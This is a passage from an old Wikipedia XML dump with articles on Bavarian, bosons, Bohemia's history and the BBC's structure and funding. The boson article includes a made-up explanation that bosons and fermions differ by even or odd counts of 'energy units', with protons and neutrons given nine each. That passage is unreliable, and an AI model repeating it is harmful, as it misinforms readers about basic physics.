[[de:Bastarnen]]
[[ru:Бастарны]]</text>
    </revision>
  </page>
  <page>
    <title>Bavarian</title>
    <id>4343</id>
    <revision>
      <id>40970525</id>
      <timestamp>2006-02-24T04:49:20Z</timestamp>
      <contributor>
        <ip>216.141.226.190</ip>
      </contributor>
      <text xml:space="preserve">'''Bavarian''' can either
* when used as an [[adjective]], refer to the [[Germany|German]] state of '''[[Bavaria]]'''; or
* refer to the '''Bavarian or [[Austro-Bavarian]] [[language]]''', a group of closely related [[dialect]]s spoken in parts of Bavaria, most of [[Austria]] and the [[South Tyrol]].
* [[Bavarian cream]] - a custard sauce.

In [[German language|German]], the two usages are distinguished orthographically, with ''bay(e)risch'' referring to the state and ''bairisch'' referring to the language. 

{{disambig}}

----
''Note to Wikipedia editors: It is recommended that links are set directly either to [[Bavaria]] or [[Austro-Bavarian]] in order to avoid confusion.''</text>
    </revision>
  </page>
  <page>
    <title>Boson</title>
    <id>4344</id>
    <revision>
      <id>40086742</id>
      <timestamp>2006-02-18T01:02:16Z</timestamp>
      <contributor>
        <ip>128.143.24.244</ip>
      </contributor>
      <comment>Changed &quot;ceteris parabis&quot; to &quot;ceteris paribus.&quot;</comment>
      <text xml:space="preserve">:{{dablink|For other uses of this term, see [[boson (disambiguation)]].}}
In [[physics]], '''bosons''', named after [[Satyendra Nath Bose]], are particles which form [[identical particles|totally-symmetric composite quantum states]]. Bosons obey [[Bose-Einstein statistics]] and are also the only particles in which any number can share the same [[quantum state]]. The [[spin-statistics theorem]] identify bosons as having integer [[spin (physics)|spin]].  

==Boson properties==
All [[elementary particle]]s are either [[bosons]] or [[fermion]]s. The [[spin-statistics theorem]] identifies the structural properties that differentiate fermions and bosons. Fermions have an odd number of energy bearing unit particles of matter in the structure of the particle, and bosons have an even number of energy bearing unit particles of matter in the structure of the particle.

[[Gauge boson]]s are [[particle physics|elementary]] particles which act as the carriers of the [[fundamental force]]s such as the W vector bosons of the [[weak nuclear force|weak force]], the [[gluon]]s of the [[strong force]], the photons of the [[electromagnetic force]], and (in theory) the [[graviton]] of the [[gravity|gravitational force]].

Particles composed of a number of other particles (such as [[proton]]s or [[atomic nucleus|nuclei]]) can be either fermions or bosons, depending on their total spin. Hence, many nuclei are in fact bosons.  So even though the main three massive subatomic particles i.e. the proton, neutron, and electron are all fermions, some atoms and their isotopes are bosons due to the fact that [[spin quantum number|spin]] can either be spin-up or spin-down which cancels for each pair of even numbered unit particle of matter structures designated as bosons, but there is a net energy rotation or net &quot;spin&quot; for fermions which are odd numbered unit particle of matter structures.

An example of how different atoms are either fermions or bosons:
Both the neutron and the proton have 9 energy units, so that alone, each is a fermion having a total of an odd number of unit particles.  However, in helium-4 there are two protons and two neutrons, therefore, the nucleus is made up of four particles of 9 energy units each making 36 energy units total making the helium-4 nucleus a boson.  Adding the two electrons around a helium-4 nucleus each with spin-up and spin-down making a pair of energy units still makes an even number of energy units in the entire atom making a total of 38.  Therefore, the entire helium-4 atom is a boson even though it is made up of individual fermions i.e. the proton, neutron and electron.  On the other hand, an isotope of helium, the helium-3 atom is a fermion because it contains two protons and one neutron of 9 energy units each making 27 in total in the nucleus and adding the two electrons still makes an odd number 29.

While fermions obey the [[Pauli exclusion principle]]: &quot;''no more than one fermion can occupy a single quantum state''&quot;, there is no exclusion property for bosons, which are free to (and indeed, ''ceteris paribus'', ''tend'' to) crowd into the same [[quantum state]].
This explains the spectrum of [[black-body]] radiation and the operation of [[laser]]s, the properties of [[superfluid]] [[helium|helium-4]] and recent formation of [[Bose-Einstein condensate]]s, a particular [[state of matter]].

It is important to note that Bose-Einstein condensation occurs only at ultralow temperature. There is nothing exotic about bosons otherwise. At any reasonable temperatures, both the boson and fermion particles behave as [[classical particle]]s, i.e. [[particle in a box]], and follow the [[Maxwell-Boltzmann statistics]].

Examples of bosons:
* [[Helium-4]] atoms
* [[Sodium-23]] atoms
* Any nuclei with integer spins
* [[photon]]s, which mediate the electromagnetic force
* [[W and Z bosons]], which mediate the weak nuclear force
* [[gluon]]s
* [[Higgs boson]]s
* [[phonon]]s

==See also==
* [[Bosonic field]]
* [[Bose gas]]
* [[Identical particles]]
* [[List of particles]]
* [[Parastatistics]]
* [[Tonks-Girardeau gas]]
* [[Superconductivity]]

==References==
* Sakurai, J.J. (1994). ''Modern Quantum Mechanics'' (Revised Edition), pp 361-363. Addison-Wesley Publishing Company. ISBN 0-201-53929-2.

{{Elementary}}


[[Category:Atomic physics]]
[[Category:Bosons]]
[[Category:Condensed matter physics]]

[[ca:Bosó]]
[[cs:Boson]]
[[de:Boson]]
[[el:Μποζόνιο]]
[[es:Bosón]]
[[eo:Bosono]]
[[fr:Boson]]
[[gl:Bosón]]
[[ko:보존]]
[[id:Boson]]
[[it:Bosone]]
[[he:בוזון]]
[[la:Boson]]
[[hu:Bozon]]
[[nl:Boson]]
[[ja:ボース粒子]]
[[pl:Bozon]]
[[pt:Bóson]]
[[ru:Бозон]]
[[sk:Bozón]]
[[sl:Bozon]]
[[fi:Bosoni]]
[[sv:Boson]]
[[vi:Boson]]
[[tr:Bozon]]
[[zh:玻色子]]</text>
    </revision>
  </page>
  <page>
    <title>Bohemia</title>
    <id>4345</id>
    <revision>
      <id>41860738</id>
      <timestamp>2006-03-02T05:07:00Z</timestamp>
      <contributor>
        <ip>67.166.136.42</ip>
      </contributor>
      <text xml:space="preserve">[[Image:boh-map.png|thumb|right|300px|Bohemia.]]
:''This article is about the historical region in central Europe; for other uses, see [[Bohemia (disambiguation)]].''
'''Bohemia''' ([[Czech language|Czech]]: ''Čechy''; [[German language|German]]: ''Böhmen'') is a [[Historical regions of Central Europe|historical region in central Europe]], occupying the western and middle thirds of the [[Czech Republic]]. With an area of 52,750 sq. km. and 6.25 million of the country's 10.3 million inhabitants, Bohemia is bounded by [[Germany]] to the north-west, west and south-west, [[Poland]] to the north-east, the Czech province of [[Moravia]] to the east, and [[Austria]] to the south. Bohemia's borders are marked with mountain ranges such as the [[Bohemian Forest|Šumava]], the [[Ore Mountains]] or [[Giant Mountains]] as part of the [[Sudeten]] mountains.

''Note:'' In the Czech language there is no distinction between adjectives referring to Bohemia and Czechia, i.e. ''český'' means both Bohemian and Czech.

==History of Bohemia==
[[Ancient Rome|Roman]] authors provide the first clear reference to this area as '''Boiohaemum''', which is [[Germanic languages|Germanic]] for &quot;the home of the [[Boii]]&quot;, who were a [[Celt|Celtic]] people. As part of the territory often crossed during the major [[Germanic tribes|Germanic]] and [[Slavic peoples|Slavic]] migrations, the area was settled from the 1st century BC by Germanic (probably [[Suebi|Suebic]]) peoples including the [[Marcomanni]]. After their migration to the south-west, they were replaced around the [[6th century]] by the Slavic precursors of today's [[Czech people|Czechs]].
[[Image:Böhmen Mähren Österreich Schlesien.jpg|thumb|right|300px|Historical map showing Bohemia proper in pink, Moravia in yellow, and Silesia in orange]]
After freeing themselves from the rule of the [[Eurasian Avars|Avars]] in the [[7th century]], Bohemia's Slavic inhabitants came (in the [[9th century]]) under the rule of the [[Přemyslid dynasty]], which continued until [[1306]]. With Bohemia's conversion to [[Christianity]] in the 9th century, close relations were forged with the East [[Franks|Frankish]] kingdom, then part of the so-called [[Carolingians|Carolingian]] [[empire]], later the nucleus of the [[Holy Roman Empire]] of which Bohemia was an autonomous part from the [[10th century]]. 

The first to use the title of &quot;King of Bohemia&quot; was [[Boleslav I of Bohemia|Boleslav I]] after [[940]], but his heirs again used the title of [[Duke]]. The title of [[Monarch|King]] was granted to the [[Premyslid]] dukes [[Vratislav II of Bohemia|Vratislav II]] ([[1085]]) and [[Vladislav II of Bohemia|Vladislav II]] ([[1158]]), and became hereditary ([[1198]]) under [[Ottokar I of Bohemia|Ottokar I]], whose grandson [[Ottokar II of Bohemia|Ottokar II]] (king [[1253]]-[[1278]]) founded a short-lived empire also covering modern [[Austria]]. The mid-[[13th century]] saw the beginning of substantial German immigration as the court sought to make good the losses resulting from the brief [[Mongol]] invasion of [[1241]]. In [[1346]], [[Charles IV, Holy Roman Emperor|Charles IV]] became King of Bohemia. In [[1348]] he founded central Europe's first university in [[Prague]]. His reign brought Bohemia to its peak both politically and in total area, resulting in his being the first King of Bohemia to be elected as [[Holy Roman Emperor]]. Under his rule, the Kingdom of the Bohemian Crown included such diverse lands as [[Moravia]], [[Silesia]], [[Upper Lusatia]] and [[Lower Lusatia]], [[Brandenburg]], an area around Nurnberg called New Bohemia, as well as [[Luxembourg|Luxemburg]] and several small towns scattered around Germany. 

During the ecunemical [[Council of Constance]] in summer of [[1415]], the rector of the [[University of Prague]] and prominent reformer and religious thinker [[Jan Hus]] was sentenced to be burnt at the stake as a heretic. The verdict was passed despite that Hus was granted formal protection by the Emperor [[Sigismund of Luxemburg]] prior to the journey, and despite the fact that Hus was invited to attend the council to defend himself and the Czech positions in the religious court. With Emperor's approval, Hus was executed at the stake on the July, 6th.

It was this event, and also the [[crusade]] against [[heresy]] declared by the [[Pope]], that made the open anti-catholic sentiment present in the Bohemian lands to burst into the movement of the Husitte. The period is nowadays known as the [[Hussite Wars]].

The to a large degree popular uprising was led by a former mercenary, [[Jan Zizka]] of Trocnov, who was fifty years old at the time. Zizka took the chalice as his symbol and led a peasant Hussite army against the forces of the Holy Roman Empire. As the leader of the Hussite armies, Zizka would not lose a battle thanks to innovative tactics and weapons he had developed, such as [[howitzer]]s and fortified wagons in the [[Wagenburg]] were revolutionary in his time and established his place amongst the greatest generals of all time.

After Zizka's death, [[Prokop the Great]] took over the command for the army, and he would make the Hussite to taste victories for another ten years to a sheer terror of the Europe, until the fellow Bohemians, the Utraquists nobility destroyed the Hussite army in the [[Battle of Lipany|Lipany]], and therefore Czechs successfuly defeated its own kind.

Despite of the victory, the Bohemian utraquists were still in the position to negotiate [[freedom of religion]] in [[1436]]. This happened in the so-called Basel Compacts, declaring the Peace and Freedom between Catholics and Utraquists. But that would only last for a short period of time, because similarly as it happened already in [[1462]], once more the [[Pope Pius II]] declared the Basel Compacts to be invalid.

In 1458, [[George of Podebrady]] was elected to ascend to the Bohemian throne. He is remembered for his attempt to set up the pan-European &quot;Christian League&quot;, which would make all the states of Europe to form some sort of community on ground of the religion. In process of making the negotiations, he appointed the [[Leo of Rozmital]] (Lev z Rozmitalu) to make tours accross the European courts and to conduct the talks, however the negotiations were not completed because George's position was in the course of time substantially damaged by the deteoriating relationships with the Pope.

In [[1609]], the Bohemian King Rudolph II, who himself was catholic was moved by the Bohemian nobility to publish Maiestas Rudolphina, which confirmed the older Confessio Bohemica of [[1575]]. Therefore Bohemia enjoyed a real religious freedom between 1436 and 1620, and in fact, it became one of the most liberal countries of the Christian world during that period of time.

In 1618, opposition to [[Ferdinand II, Holy Roman Emperor]] as King of Bohemia resulted into outbreak of the [[Thirty Years' War]], and another, alternative Protestant king, [[Frederick V, Elector Palatine]] was called for the Bohemain throne. However, after the defeat in the [[Battle of White Mountain]] in [[1620]], the plans were ruined and the [[Protestant]] nobility was either expelled at large from the country to the exile, or straight-away executed.

Until the so-called &quot;renewed constituion&quot; (obnovené zřízení zemské, Die Verneuerte Landesordnung des Erbkönigreichs Böhaims) of 1627, the German language was established as a second official language in the Czech lands. The Czech language remained the first language in the Kingdom, but not for long.

Both the German language and the Latin were widely spoken among the ruling classes and the German language was becoming increasingly more and more dominant. Also the formal independence of Bohemia was further jeopardized when in [[1749]] the Bohemian Diet approved the so-called Pragmatic Sanction. This document included the indivisibility of the Habsburg empire and the centralization of the rule, and practically, it made the Royal Bohemian Chancellery to merge with the Austrian Chancellery.
(The pragmatic sanction document is also important for that he has approved the female succession in the ruling house.)

At the end of the 18th century, the Czech national revivalist movement, in cooperation with a part of the Bohemian aristocracy, started a campaign for restoration of the Kingdom's historic rights, whereby the Czech language was designed to become restored in the process. Coronation of Leopold II as King of Bohemia in 1792 and minor language concessions were the first modest results of the movement. The movement became stronger and more influential, and Czech politicians participated fully and actively in the 1848 revolution.
However, the revolution was not successful. The old Bohemian Diet, one of the last remnants of the independence, was dissolved. But thanks to the effort, the Czech language was rescued.

In 1861, the new, an elected Bohemian Diet was established. The renewal of the old Bohemian Crown (Kingdom of Bohemia, Margraviate of Moravia and Duchy of Silesia) became the official political program of both Czech liberal politicians and the majority of Bohemian aristocracy (&quot;state rights program&quot;), while parties representing the German minority and small part of the aristocracy proclaimed their loyalty to the centralistic Constitution (so-called &quot;Verfassungstreue&quot;).
In 1867, a parallel movement in Hungary achieved an establishment of a dual Habsburg monarchy (&quot;Austria-Hungary&quot;), while an attempt to establish a tripartite monarchy (Austria-Hungary-Bohemia) in 1871 failed. However, the &quot;state rights program&quot; remained the official platform of all Czech political parties (except for social democrats) until 1918.

&lt;!-- too long and badly written, unnecessary details for a summary, should be rewritten and moved to History of Bohemia:

Bohemia became a part of the Habsburg Lands (later - after [[1810]] - unofficially known as the Austrian Empire) in 1526 ( when the young Bohemian king, Ludvik, died in the well-known [[Battle of Mohacs]] against Turks), when Bohemian Parliament voted for Ferdinand of Habsburg as the king of Bohemia. The Bohemian state and the Bohemian Crown (which included Bohemia, Moravia and Silesia) never lost their independence in juristic terms, but Habsburg kings drove centralisation, strong governement, Germanification and eventually the annihilation of Bohemian political elites and Bohemian parliament.

There were 4 big Bohemian revolts against Habsburg king's centralisation: 

First revolt (1546-1547) - against king Ferdinand I, who contravened the Bohemian law - in 1547 Ferdinand I destroyed the military opposition of Bohemian nobility and towns; there were persecutions and confiscations of property and two aristocrats and two burghers were executed.

Second revolt (1618-1622} - uprising of non-Catholic majority against the realignment to Catholicism of the Catholic old king Matyas II of Habsburg and his heir, the ultra-Catholic duke Ferdinand of Stiria. The king's officers were defenestrated (thrown out of the windows) and all negotiation attempts failed after Matyas II's death in March 1619. Ferdinand of Stiria was deposed by the so-called Directorium (cabinet with 30 of the leading men of country, created and voted in by Bohemian parliament in summer 1618) and parliament voted Fridrich, Elector Palatinate as king of Bohemia (his wife was Elisabeth Stuart, daughter of English king James). In November 1620, troops of Ferdinand of Stiria defeated king Fridrich of Bohemia at Bila Hora, near Prague. In 1622, Ferdinand took aver the country and overthrew Fridrich who with Elisabeth fled to exile. As king of Bohemia Ferdinand II started a reign of terror: confications, persecutions, and forced realignment to Catholicism. 27 men of the Bohemian elite (mainly members of cabinet (Directorium)) were horribly tortured and executed in 1621 at Old Town Square, Prague. In 1627, decrees were passed that meant that all non-Catholics had to convert to Catholicism or be exiled from the country. 

Third revolt (1741-1742} - part of Bohemian nobility recognized Karel Albrecht of Bavaria as Bohemian king Karel III. In autumn 1742, troops of Maria Theresia of Habsburg defeated Karel III's troops. In 1743, Maria became Bohemian queen.       
    
Fourth revolt (1914-1918) - Political movements by Bohemian exiles and the [[First World War]] led to the independence of Bohemian Kingdom and removal of the Habsburgs. 
Thomas G. Masaryk became a P. M. of Bohemian exile cabinet. Bohemian exile government became a member of Britain-France-Russia coalition and independent Bohemian army was formed in Serbia, France, Italy and Russia (this famous Bohemian Legion fought against Russian Bolsheviks}. In October 28, 1918, a home resistance group called 'Maffia' orchestrated a coup against the Habsburgs. In November 13, 1918, Bohemian Kingdom became a republic and integrated a new province, Slovakia to become the state of 'Czechoslovakia'.    --&gt;

[[Image:Czechoslovakia1927.png|thumb|right|200px|Bohemia within Czechoslovakia in 1927]]
[[Image:Kingdom_of_Bohemia.gif|thumb|right|The Banner of Arms of the King of Bohemia]]
[[Image:Flag of Bohemia.svg|thumb|right|[[Flag of Bohemia|Flag]].]]
After [[World War I]], Bohemia became the cornerstone of the newly-formed country of [[Czechoslovakia]]. Czechoslovakia became a rich and liberal democratic republic, and [[Tomas Garrigue Masaryk|Tomáš Masaryk]] was elected as its first president.
&lt;!-- deleted stuff which partially belongs to [[Czechoslovakia]] (and is already dealt with there), not Bohemia, partially were far too long, and partially were grossly POV --&gt;

Following the [[Munich Agreement]] in 1938, the border regions of Bohemia inhabited predominantly by ethnic Germans, were annexed to Germany - it was the first and only time in the whole history of Bohemia that it was divided. Between [[1939]]-[[1945]], the remaining part of Bohemia together with [[Moravia]] formed the German [[Protectorate of Bohemia and Moravia]] (''Reichsprotektorat Böhmen und Mähren'') under the Occupation.

[[Agnes of Bohemia]] (Sv. Anezka Ceska, 1211-1282) was the first saint from a Central European country to be canonized by [[Pope John Paul II]] before the 1989 &quot;[[Velvet Revolution]]&quot;.

After the dissolution of Czechoslovakia in [[1993]], Bohemia became part of the new [[Czech Republic]]. 

The Czech constitution from 1992 refers to the &quot;citizens of the Czech Republic in Bohemia, Moravia and Silesia&quot; and proclaims continuity with the statehood of the Bohemian Crown. Bohemia is not currently an administrative unit of the Czech Republic. Instead, it is divided into [[Prague]], the [[Central Bohemian Region]], the [[Pilsen Region]], the [[Carlsbad Region]], the [[Usti nad Labem Region]], the [[Liberec Region]], the [[Hradec Kralove Region]], and parts of the [[Pardubice Region|Pardubice]], [[Vysocina Region|Vysocina]] and [[South Bohemian Region|South Bohemian]] regions.

===See also===
*[[Bohemia (disambiguation)|Bohemia]] (for other definitions)
*[[Bohemian (disambiguation)|Bohemian]]
*[[History of the Czech Lands]]
*[[List of rulers of Bohemia]]

==References==
{{unreferenced}}

{{Czech lands}}

[[Category:Geography of the Czech Republic]]
[[Category:Czech history]]
[[Category:States of the Holy Roman Empire]]

{{Link FA|eo}}

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[[da:Bøhmen]]
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[[es:Bohemia]]
[[eo:Bohemio]]
[[fr:Bohême]]
[[ko:체히]]
[[is:Bæheimur]]
[[it:Boemia]]
[[he:בוהמיה]]
[[la:Bohemia]]
[[lt:Bohemija]]
[[hu:Komáromcsehi]]
[[nl:Bohemen]]
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[[no:Böhmen]]
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[[ru:Богемия]]
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[[sr:Бохемска]]
[[fi:Böömi]]
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[[zh:波希米亚]]</text>
    </revision>
  </page>
  <page>
    <title>BBC</title>
    <id>4347</id>
    <revision>
      <id>41604514</id>
      <timestamp>2006-02-28T13:11:38Z</timestamp>
      <contributor>
        <username>Puffball</username>
        <id>709639</id>
      </contributor>
      <minor />
      <comment>Typo</comment>
      <text xml:space="preserve">{{otheruses}}
[[Image:BBC.svg|250px|thumb|right|Corporate logo of the British Broadcasting Corporation.]]
'''The &lt;!-- NOTE: &quot;The&quot; is part of the name; see Talk page - archive FIVE--&gt; British Broadcasting Corporation''' ('''BBC''') is the national [[public service broadcasting|public service broadcaster]] of the [[United Kingdom]] (see [[British television]]). It produces programmes and information services, broadcasting on [[television]], [[radio]], and the [[Internet]]. It is the largest broadcasting corporation in the world. The [[BBC coat of arms|motto of the BBC]] is ''Nation Shall Speak Peace Unto Nation.''

The BBC's domestic services on television are [[BBC One]], [[BBC Two]], [[BBC Three]], [[BBC Four]], [[BBC News 24]], [[BBC Parliament]] — the UK's only dedicated politics channel — and the children's channels [[CBBC]] and [[CBeebies]]. BBC One and BBC Two are available via conventional analogue transmission &amp;mdash; the remainder can be viewed only by those with [[Digital_terrestrial_television_in_the_United_Kingdom|digital reception]] equipment (now in widespread use in the UK, with analogue transmission expected to be phased out from [[2008]]). In the [[Republic of Ireland]] the [[Northern Ireland]] regionalised BBC one &amp; BBC Two are available via analogue tranmissions deflecting signals from the North and also carried out on [[Sky Digital]], [[NTL Ireland]] and [[Chorus Communications|Chorus]]

The corporation has five national radio stations: [[BBC Radio 1|Radio 1]], [[BBC Radio 2|Radio 2]], [[BBC Radio 3|Radio 3]], [[BBC Radio 4|Radio 4]], and [[BBC Radio Five Live]].  It also has national [[Digital audio broadcasting|digital radio]] services: [[1Xtra]], [[BBC 6 Music]], [[BBC 7]], [[BBC Five Live Sports Extra]], and the [[BBC Asian Network]]. There is also a huge catalogue of [[BBC Local Radio]] stations (such as [[BBC Hereford and Worcester]] and [[BBC Radio London]]) Open Centres, BBC Buses, and BBC Big Screens. In addition the BBC operates the [[BBC World Service]] on radio, internet and satellite television, funded by and operated in cooperation with the [[Foreign and Commonwealth Office]].

The BBC's commercial operations are run by [[BBC Worldwide]]. These include its international television services which are funded commercially and include the international news channel [[BBC World]], as well as entertainment channels [[BBC Prime]], [[BBC America]], [[BBC Canada]] and [[BBC Japan]]. There is also a Canadian children's channel [[BBC Kids]]. BBC Worldwide also co-runs, with [[Flextech]], the [[UKTV]] network of stations in the UK, producers of amongst others [[UKTV Gold]]. In [[Australia]] BBC Worldwide runs the [[UK.TV]] network jointly with [[Foxtel]] and Fremantle Media. In [[New Zealand]] some BBC programmes run on [[TVNZ|TV ONE]].

The BBC produces a large body of programming for domestic and worldwide broadcast. Many programmes (especially [[Documentary film|documentaries]]) are sold to foreign television stations, and [[comedy]], [[documentary film|documentaries]] and [[Costume drama|historical drama]] productions are popular on the international DVD market.

It is an autonomous corporation run by a board of governors appointed by the [[government of the United Kingdom|government]] for a term of four years (formerly five years).  This is soon to be replaced with a BBC [[Trust (property)|trust]]. Management of the organisation is in the hands of a [[Director-General of the BBC|Director-General]] appointed by the governors. Its domestic programming and broadcasts are funded by levying [[television licence]] fees upon the owners of television sets. This allows domestic programming to be free of commercials, and allows program content to be free of bias towards commercial sponsors.

==History==
[[Image:BBC Virtual Crest.JPG|thumb|Computer generated &quot;glass sculpture&quot; of the [[BBC coat of arms|BBC's coat of arms]] at the start of a 1995 [[BBC News]] broadcast]]
{{main|Timeline of the BBC}}
The original ''British Broadcasting Company'' was founded in [[1922]] by various private firms to broadcast experimental radio services. The first transmission was on [[14 November]] of that year.

The Company, with [[John Reith]] as general manager, became the ''British Broadcasting Corporation'' in [[1927]] when it was granted a [[Royal Charter]] of incorporation and ceased to be privately owned. It started experimental television broadcasting in [[1932]], becoming a regular service (known as the [[BBC Television Service]]) in [[1936]]. Television broadcasting was suspended from [[September 1]], [[1939]] to [[June 7]], [[1946]] during the [[World War II|Second World War]].

Competition to the BBC was introduced for the first time in [[1955]] with the commercially and independently operated [[ITV]]. The BBC introduced a second TV channel, (BBC 2), in [[1964]], renaming the existing channel BBC 1. BBC 2 was broadcast in colour from [[July 1]], [[1967]], and was joined by BBC 1 and ITV on [[November 15]], [[1969]].

Since the [[deregulation]] of the UK television and radio market in the [[1980s]], the BBC has faced increased competition from the commercial sector (and from the advertiser-funded public service broadcaster [[Channel 4]]), especially on [[satellite television]], [[cable television]], and [[digital television]] services.

The [[BBC Research Department]] has played a major part in the development of broadcasting and recording techniques. In the early days it carried out essential research into acoustics, programme level measurement, and noise measurement and established standards that rapidly spread, particularly throughout the British Empire. In this respect it filled a role that is now lacking in many areas, since it was motivated by the desire for quality, not profit.

==The Corporation==
===Funding===
{{main|Television licence#United Kingdom}}

The principal means of funding the BBC is through the [[television licence]]. Such a licence is required to operate a broadcast [[television]] receiver within the [[United Kingdom|UK]]. The television licence is set by the government and enforced by the criminal law but is collected privately and does not pass through the state before reaching the BBC, and hence it is inaccurate to refer to the BBC as a &quot;state&quot; broadcaster.

A similar licence used to exist for radios, but was abolished in [[1971]].  These licences were originally issued by the British [[General Post Office]] (GPO), which was then the regulator of public communications within the UK. For a more detailed historical explanation see [[British Broadcasting Company]].

In the case of the elderly (over 75), TV licences are funded by the government. Subsidised TV licences are available for the blind and the residents of residential care homes. Licence fees are set by the [[Department for Culture, Media and Sport|Secretary of State for Culture, Media and Sport]] (a Cabinet Minister). Collecting them has been the responsibility of [http://www.tvlicensing.co.uk/ TV Licensing] (an autonomous arm of the BBC) since 1990, but much of the collection work is subcontracted to the independent companies [[Capita]] and [[AMV]].

The television licence is often the subject of controversy; some argue that the licence is a [[regressive tax]], in that the very poorest are those least likely to have a licence, and least able to pay the fine for not having a licence. However, supporters of the licence fee claim that it helps maintain a higher quality of programming on the BBC compared to its commercial rivals. Some also claim that it also leads to better programmes on the commercial channels as they seek to draw viewers/listeners away from the BBC's output.

Because government regulation controls its funding, the BBC is able to provide domestic [[public service broadcasting]] to educate, inform and entertain, free of commercial advertising. However, the BBC does engage in commercial advertising in its publications and some broadcasting activities. In theory the BBC is answerable only to the licence payer. [[BBC World Service|World Service]] external broadcasting is funded by the [[Foreign and Commonwealth Office]].

The BBC has the largest budget of any UK broadcaster. Income from commercial enterprises and from overseas sales of its catalogue of programmes has substantially increased over recent years. Its annual budget is approximately £3.8 billion.

====Revenue sources====
The [http://www.bbcgovernors.co.uk/annreport/report05_keysections_dl.html#section6 2005 Annual report] gave revenue sources in millions of:
* £2,940.3m licence fees collected from consumers.
* £624.3m from BBC Commercial Businesses.
* £247.2m from the World Service, of which £225.1m is from grants (primarily funded by the Foreign and Commonwealth Office), £16.7m from subscriptions, and £5.4m from other sources.
* £23.5m from other income, such as providing content to overseas broadcasters and concert ticket sales.

In total, the BBC's group income is estimated at £3835.3m for 2005.

====Licence fee expenditure====
The BBC [http://news.bbc.co.uk/1/hi/entertainment/tv_and_radio/4309325.stm gives] the following figures for expenditure of licence fee income:
*35% - BBC One
*15% - BBC Two
*15% - local TV and radio
*12% - network radio
*10% - digital (BBC Three, BBC Four, BBC News 24, BBC Parliament, CBBC, CBeebies)
*10% - transmission costs and licence fee collection
*3% - BBC Online, Ceefax, and Interactive Content (including [http://www.bbc.co.uk/ bbc.co.uk] and BBCi)

===Management===
The BBC is a nominally autonomous corporation, independent from direct government intervention. It is run by an appointed [[Board of Governors of the BBC|Board of Governors]]. General management of the organisation is in the hands of a [[Director-General of the BBC|Director-General]] appointed by the governors.

The governors as of [[19 January]] [[2005]] are:
*[[Michael Grade]] (Chairman)
*[[Anthony Salz]] (Vice Chairman)
*[[Ranjit Sondhi|Professor Ranjit Sondhi]] (National Governor for the English regions)
*[[Fabian Monds|Professor Fabian Monds]] (National Governor for Northern Ireland)
*[[Merfyn Jones|Professor Merfyn Jones]] (National Governor for Wales)
*[[Jeremy Peat]] (National Governor for Scotland)
*[[Deborah Bull]]
*[[Ruth Deech|Baroness Deech]]
*[[Dermot Gleeson]]
*[[Angela Sarkis]]
*[[Richard Tait]], appointed for a four-year term on [[1 August]] 2004.

The current Director-General is [[Mark Thompson]]. On his first day in the role he announced a shake-up of senior management, including the replacement of the Executive Committee, formed by directors of divisions within the BBC, with a streamlined nine-member Executive Board currently consisting of:
*[[Mark Thompson]] (Director-General)
*[[Mark Byford]] (Deputy Director-General)
*[[John Smith (BBC)|John Smith]] (Chief Operating Officer)
*[[Zarin Patel]] (Group Finance Director)
*[[Caroline Thomson]] (Strategy)
*[[Stephen Dando]] (BBC People)
*[[Tim Davie]] (Marketing, Communications &amp; Audiences)
*[[Jana Bennett]] (Television)
*[[Jenny Abramsky]] (Radio and Music)
*[[Ashley Highfield]] (New Media and Technology)

===Current review of Royal Charter===
{{main|BBC review}}

The BBC's [[Royal Charter]] is currently under review.  Although the Charter is widely expected to be renewed in 2006, some proposals have suggested dramatic changes. 

On [[2 March]] [[2005]] the [[Culture Secretary]] [[Tessa Jowell]] published a [[green paper]] setting out her proposals for the future of the BBC. The main points of this are:
*Maintenance of the licence fee system until at least 2016
*Abolition of the BBC Governors, to be replaced by a &quot;BBC Trust&quot;
*Increasing outsourcing of production (a process already started by Mark Thompson)
*Reduced emphasis on &quot;ratings for ratings' sake&quot; and copycat programmes (such as [[reality television]]).

===Political and commercial independence===
{{main|BBC controversies}}

The BBC is, in theory, free from both political and commercial influence and answers only to its viewers and listeners. However, the BBC is regularly accused by the government of the day of bias in favour of the opposition and, by the opposition, of bias in favour of the government. This gave rise to the satirical name &quot;Buggers Broadcasting Communism&quot;.

Similarly, during times of war, the BBC is often accused by the UK government, or by strong supporters of British military campaigns, of being overly sympathetic to the view of the enemy. This gave rise, during the first [[Gulf War]], to the satirical name &quot;Baghdad Broadcasting Corporation&quot;. Conversely, some of those who style themselves anti-establishment in the United Kingdom or who oppose foreign wars have accused the BBC of pro-establishment bias or of refusing to give an outlet to &quot;anti-war&quot; voices. Some have argued that a current of anti-BBC thinking exists in many parts of the political spectrum and that, since the BBC's theoretical impartiality means they will broadcast many views and opinions, people will see the bias they wish to see. 

Quite often domestic audiences have affectionately referred to the BBC as ''the Beeb,'' or as ''Auntie''; the latter originating in the somewhat fuddy duddy [http://www.bbc.co.uk/pressoffice/pressreleases/stories/2004/10_october/21/hull.shtml ''Auntie knows best''] attitude dating back to the early days when [[John Reith, 1st Baron Reith|John Reith]] was in charge.

Political influence may manifest itself via appointments to its Board of Governors and by threats to change the level of the licence fee. Commercial competition has influenced BBC programming on both radio and television throughout its history. Despite these criticisms, many still regard the BBC as a trusted and politically neutral news source across the globe, and in some areas the BBC World Service radio is the only available free press.

The BBC's current Political Editor, [[Nick Robinson]], was previously a chairman of the [[Young Conservatives]] and has, as a result, attracted informal criticism from the current Labour government.

===Location===
{{main|Broadcasting House}}

Broadcasting House in [[Portland Place]], [[Central London|London]] is the official headquarters of the BBC. It is home to the national radio networks Radio [[BBC Radio 2|2]], [[BBC Radio 3|3]], [[BBC Radio 4|4]], [[BBC 6 Music|6 Music]], and [[BBC 7]]. On the front of the building are statues of [[Prospero]] and [[Ariel (Shakespeare)|Ariel]] (from [[William Shakespeare|Shakespeare]]'s ''[[The Tempest (play)|The Tempest]]''), by [[Eric Gill]].

Broadcasting House is currently undergoing renovation, scheduled for completion in [[2010]]. As part of a major reorganisation of BBC property, Broadcasting House is to become home to [[BBC News]] (both television and radio), national radio, and the [[BBC World Service]]. The major part of this plan involves the demolition of the two post-war extensions to the building and construction of a new building, to be of equal &quot;architectural creativity&quot;, beside the existing structure. While the rebuilding process is being undertaken many of the BBC Radio networks have been relocated to other buildings in the vicinity of Portland Place.

In 2007/2008 BBC News is expected to relocate from the News Centre at [[BBC Television Centre]] to the refurbished Broadcasting House in what is being described as &quot;one of the world's largest live newsrooms&quot;.

By far the largest concentration of BBC staff in the UK exists in [[White City]]. Well known buildings in this area include TVC (internal [[acronym]] for [[BBC Television Centre]]), White City, Media Centre, Broadcast Centre and Centre House.

